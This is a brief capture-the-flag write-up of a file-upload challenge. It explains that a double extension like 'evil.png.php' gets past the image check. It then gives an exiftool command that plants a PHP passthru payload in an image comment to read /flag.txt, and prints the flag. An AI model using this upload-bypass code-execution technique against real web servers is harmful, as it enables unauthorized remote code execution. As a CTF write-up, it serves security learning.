The image uploader does check the file contents and extension to be
sufficiently image-like, however it doesn't account for files with
names like `evil.png.php`.  If such a file is uploaded, the redirect
reuses the file extension and will interpret the upload as a PHP
document.  Adding PHP code to an existing image is done as follows:

    exiftool -Comment='<?php passthru("cat /flag.txt") ?>' evil.png.php

Flag:

    actf{th3_ch4ll3ng3_h4s_f4ll3n_but_th3_crypt_rem4ins}